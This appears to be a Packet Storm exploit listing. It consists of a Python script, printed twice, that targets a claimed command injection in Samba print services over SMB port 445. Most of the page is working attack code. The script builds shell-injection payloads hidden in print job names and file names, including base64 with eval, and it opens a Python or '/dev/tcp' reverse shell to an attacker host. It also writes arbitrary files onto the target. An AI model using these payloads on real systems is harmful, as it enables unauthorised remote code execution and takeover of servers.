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CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Python script is a structured exploitation framework targeting Samba print services exposed over SMB port 445. It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job...
Basic Information
ID
PACKETSTORM:222477
Published
Jun 2, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Samba 4.22.10, 4.23.8 and 4.24.3 – SMB Printer Queue Command Injection and Remote Task Delivery |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.samba.org/samba/security/CVE-2026-4480.html |
==================================================================================================================================
[+] Summary : This Python script is a structured exploitation framework targeting Samba print services exposed over SMB (port 445).
It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job submissions.
[+] POC :
#!/usr/bin/env python3
import socket
import sys
import argparse
import time
import re
import base64
import io
from threading import Thread
from smb.SMBConnection import SMBConnection
from smb.base import SharedDevice
class SambaPrintExploit:
def __init__(self, target_host, target_port=445, share_name="print$",
username="", password="", domain=""):
"""
Initialize Samba Print Server Exploit Structure
"""
self.target_host = target_host
self.target_port = target_port
self.share_name = share_name
self.username = username or "guest"
self.password = password or ""
self.domain = domain or "WORKGROUP"
self.connection = None
self.lhost = "127.0.0.1"
self.lport = 4444
def connect(self):
"""Establish SMB connection to target"""
try:
print(f"[*] Connecting to {self.target_host}:{self.target_port}")
self.connection = SMBConnection(
self.username,
self.password,
"exploit-client",
self.target_host,
domain=self.domain,
use_ntlm_v2=True,
is_direct_tcp=True
)
if self.connection.connect(self.target_host, self.target_port):
print(f"[+] Connected successfully as {self.username}")
return True
return False
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def list_printers(self):
"""List available printers on the server"""
try:
print("[*] Enumerating printers...")
shares = self.connection.listShares()
printers = []
for share in shares:
if share.is_printer:
printers.append(share.name)
print(f"[+] Found printer: {share.name}")
if not printers:
print("[-] No printers found")
return None
return printers
except Exception as e:
print(f"[-] Failed to list printers: {e}")
return None
def check_vulnerability(self, printer_name):
"""Check if the printer share responds properly to print requests"""
print(f"[*] Checking printer queue communication on: {printer_name}")
test_payload = "echo 'Testing Connection'"
try:
result = self.print_file(printer_name, test_payload, is_test=True)
if result:
print("[+] Target printer share accepted the print job request.")
return True
return False
except Exception as e:
print(f"[-] Check failed: {e}")
return False
def escape_payload(self, payload):
"""Generate formatted syntax variations for injection wrappers"""
injections = [
f"`{payload}`",
f"$({payload})",
f"; {payload} ;",
f"|| {payload} ||",
f"&& {payload} &&"
]
return injections
def create_malicious_print_job(self, command):
"""Create multi-stage script blocks using the validated command string"""
b64_cmd = base64.b64encode(command.encode()).decode()
payloads = [
f"'; {command} ; '",
f"`{command}`",
f"$({command})",
f"'; eval $(echo '{b64_cmd}' | base64 -d); '",
f"'; bash -c \"{command}\" ; '",
f"'; sh -c \"{command}\" ; '"
]
reverse_payload = f"'; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{self.lhost}\",{self.lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' ; '"
payloads.append(reverse_payload)
return payloads
def print_file(self, printer_name, command, is_test=False):
"""Send print job data handling payload string structures properly"""
try:
payloads = self.create_malicious_print_job(command)
for payload in payloads:
print(f"[*] Dispatching job format: {payload[:50]}...")
job_description = payload
try:
file_content = f"Job Name: {job_description}\nUser: {self.username}\n"
file_data = io.BytesIO(file_content.encode('utf-8'))
self.connection.printFile(
printer_name,
f"job_{int(time.time())}.txt",
file_data,
timeout=15
)
print(f"[+] Print job delivered to share: {printer_name}")
if not is_test:
return True
except Exception as e:
print(f"[-] Primary delivery method failed: {e}")
try:
empty_data = io.BytesIO(b"")
self.connection.printFile(
printer_name,
f"';{command};'.txt",
empty_data,
timeout=15
)
print(f"[+] Secondary empty-buffer delivery completed")
return True
except:
pass
return False
except Exception as e:
print(f"[-] Job packaging failed: {e}")
return False
def execute_command(self, command, printer_name=None):
"""Execute arbitrary command on target systems via queue tasks"""
if not printer_name:
printers = self.list_printers()
if not printers:
return False
printer_name = printers[0]
return self.print_file(printer_name, command)
def get_reverse_shell(self, lhost, lport, printer_name=None):
"""Configure parameters and trigger structural reverse connection string"""
self.lhost = lhost
self.lport = lport
shell_payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
print(f"[*] Queueing handler delivery targeting {lhost}:{lport}")
return self.execute_command(shell_payload, printer_name)
def upload_file(self, local_file, remote_path, printer_name=None):
try:
with open(local_file, 'rb') as f:
content = f.read()
b64_content = base64.b64encode(content).decode()
command = f"echo '{b64_content}' | base64 -d > {remote_path}"
return self.execute_command(command, printer_name)
except Exception as e:
print(f"[-] Pre-upload failure: {e}")
return False
def main():
parser = argparse.ArgumentParser(description='Samba Print Server Code Logic Verifier')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=445, help='SMB port')
parser.add_argument('-s', '--share', default='print$')
parser.add_argument('-u', '--username', default='guest')
parser.add_argument('-P', '--password', default='')
parser.add_argument('-d', '--domain', default='WORKGROUP')
parser.add_argument('-c', '--command', help='Command to run')
parser.add_argument('--printer')
parser.add_argument('--reverse-shell', action='store_true')
parser.add_argument('--lhost')
parser.add_argument('--lport', type=int, default=4444)
parser.add_argument('--list-printers', action='store_true')
parser.add_argument('--check', action='store_true')
parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'))
args = parser.parse_args()
exploit = SambaPrintExploit(
target_host=args.target,
target_port=args.port,
share_name=args.share,
username=args.username,
password=args.password,
domain=args.domain
)
if not exploit.connect():
sys.exit(1)
if args.list_printers:
exploit.list_printers()
sys.exit(0)
if args.check:
printers = exploit.list_printers()
if printers:
exploit.check_vulnerability(printers[0])
sys.exit(0)
if args.upload:
local_file, remote_file = args.upload
exploit.upload_file(local_file, remote_file, args.printer)
sys.exit(0)
if args.reverse_shell:
if not args.lhost:
print("[-] --lhost configuration value is mandatory for this operation.")
sys.exit(1)
exploit.get_reverse_shell(args.lhost, args.lport, args.printer)
sys.exit(0)
if args.command:
exploit.execute_command(args.command, args.printer)
sys.exit(0)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Samba 4.22.10, 4.23.8 and 4.24.3 – SMB Printer Queue Command Injection and Remote Task Delivery |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.samba.org/samba/security/CVE-2026-4480.html |
==================================================================================================================================
[+] Summary : This Python script is a structured exploitation framework targeting Samba print services exposed over SMB (port 445).
It focuses on printer-share interaction, payload delivery testing, and command execution workflows through manipulated print job submissions.
[+] POC :
#!/usr/bin/env python3
import socket
import sys
import argparse
import time
import re
import base64
import io
from threading import Thread
from smb.SMBConnection import SMBConnection
from smb.base import SharedDevice
class SambaPrintExploit:
def __init__(self, target_host, target_port=445, share_name="print$",
username="", password="", domain=""):
"""
Initialize Samba Print Server Exploit Structure
"""
self.target_host = target_host
self.target_port = target_port
self.share_name = share_name
self.username = username or "guest"
self.password = password or ""
self.domain = domain or "WORKGROUP"
self.connection = None
self.lhost = "127.0.0.1"
self.lport = 4444
def connect(self):
"""Establish SMB connection to target"""
try:
print(f"[*] Connecting to {self.target_host}:{self.target_port}")
self.connection = SMBConnection(
self.username,
self.password,
"exploit-client",
self.target_host,
domain=self.domain,
use_ntlm_v2=True,
is_direct_tcp=True
)
if self.connection.connect(self.target_host, self.target_port):
print(f"[+] Connected successfully as {self.username}")
return True
return False
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def list_printers(self):
"""List available printers on the server"""
try:
print("[*] Enumerating printers...")
shares = self.connection.listShares()
printers = []
for share in shares:
if share.is_printer:
printers.append(share.name)
print(f"[+] Found printer: {share.name}")
if not printers:
print("[-] No printers found")
return None
return printers
except Exception as e:
print(f"[-] Failed to list printers: {e}")
return None
def check_vulnerability(self, printer_name):
"""Check if the printer share responds properly to print requests"""
print(f"[*] Checking printer queue communication on: {printer_name}")
test_payload = "echo 'Testing Connection'"
try:
result = self.print_file(printer_name, test_payload, is_test=True)
if result:
print("[+] Target printer share accepted the print job request.")
return True
return False
except Exception as e:
print(f"[-] Check failed: {e}")
return False
def escape_payload(self, payload):
"""Generate formatted syntax variations for injection wrappers"""
injections = [
f"`{payload}`",
f"$({payload})",
f"; {payload} ;",
f"|| {payload} ||",
f"&& {payload} &&"
]
return injections
def create_malicious_print_job(self, command):
"""Create multi-stage script blocks using the validated command string"""
b64_cmd = base64.b64encode(command.encode()).decode()
payloads = [
f"'; {command} ; '",
f"`{command}`",
f"$({command})",
f"'; eval $(echo '{b64_cmd}' | base64 -d); '",
f"'; bash -c \"{command}\" ; '",
f"'; sh -c \"{command}\" ; '"
]
reverse_payload = f"'; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{self.lhost}\",{self.lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' ; '"
payloads.append(reverse_payload)
return payloads
def print_file(self, printer_name, command, is_test=False):
"""Send print job data handling payload string structures properly"""
try:
payloads = self.create_malicious_print_job(command)
for payload in payloads:
print(f"[*] Dispatching job format: {payload[:50]}...")
job_description = payload
try:
file_content = f"Job Name: {job_description}\nUser: {self.username}\n"
file_data = io.BytesIO(file_content.encode('utf-8'))
self.connection.printFile(
printer_name,
f"job_{int(time.time())}.txt",
file_data,
timeout=15
)
print(f"[+] Print job delivered to share: {printer_name}")
if not is_test:
return True
except Exception as e:
print(f"[-] Primary delivery method failed: {e}")
try:
empty_data = io.BytesIO(b"")
self.connection.printFile(
printer_name,
f"';{command};'.txt",
empty_data,
timeout=15
)
print(f"[+] Secondary empty-buffer delivery completed")
return True
except:
pass
return False
except Exception as e:
print(f"[-] Job packaging failed: {e}")
return False
def execute_command(self, command, printer_name=None):
"""Execute arbitrary command on target systems via queue tasks"""
if not printer_name:
printers = self.list_printers()
if not printers:
return False
printer_name = printers[0]
return self.print_file(printer_name, command)
def get_reverse_shell(self, lhost, lport, printer_name=None):
"""Configure parameters and trigger structural reverse connection string"""
self.lhost = lhost
self.lport = lport
shell_payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
print(f"[*] Queueing handler delivery targeting {lhost}:{lport}")
return self.execute_command(shell_payload, printer_name)
def upload_file(self, local_file, remote_path, printer_name=None):
try:
with open(local_file, 'rb') as f:
content = f.read()
b64_content = base64.b64encode(content).decode()
command = f"echo '{b64_content}' | base64 -d > {remote_path}"
return self.execute_command(command, printer_name)
except Exception as e:
print(f"[-] Pre-upload failure: {e}")
return False
def main():
parser = argparse.ArgumentParser(description='Samba Print Server Code Logic Verifier')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=445, help='SMB port')
parser.add_argument('-s', '--share', default='print$')
parser.add_argument('-u', '--username', default='guest')
parser.add_argument('-P', '--password', default='')
parser.add_argument('-d', '--domain', default='WORKGROUP')
parser.add_argument('-c', '--command', help='Command to run')
parser.add_argument('--printer')
parser.add_argument('--reverse-shell', action='store_true')
parser.add_argument('--lhost')
parser.add_argument('--lport', type=int, default=4444)
parser.add_argument('--list-printers', action='store_true')
parser.add_argument('--check', action='store_true')
parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'))
args = parser.parse_args()
exploit = SambaPrintExploit(
target_host=args.target,
target_port=args.port,
share_name=args.share,
username=args.username,
password=args.password,
domain=args.domain
)
if not exploit.connect():
sys.exit(1)
if args.list_printers:
exploit.list_printers()
sys.exit(0)
if args.check:
printers = exploit.list_printers()
if printers:
exploit.check_vulnerability(printers[0])
sys.exit(0)
if args.upload:
local_file, remote_file = args.upload
exploit.upload_file(local_file, remote_file, args.printer)
sys.exit(0)
if args.reverse_shell:
if not args.lhost:
print("[-] --lhost configuration value is mandatory for this operation.")
sys.exit(1)
exploit.get_reverse_shell(args.lhost, args.lport, args.printer)
sys.exit(0)
if args.command:
exploit.execute_command(args.command, args.printer)
sys.exit(0)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================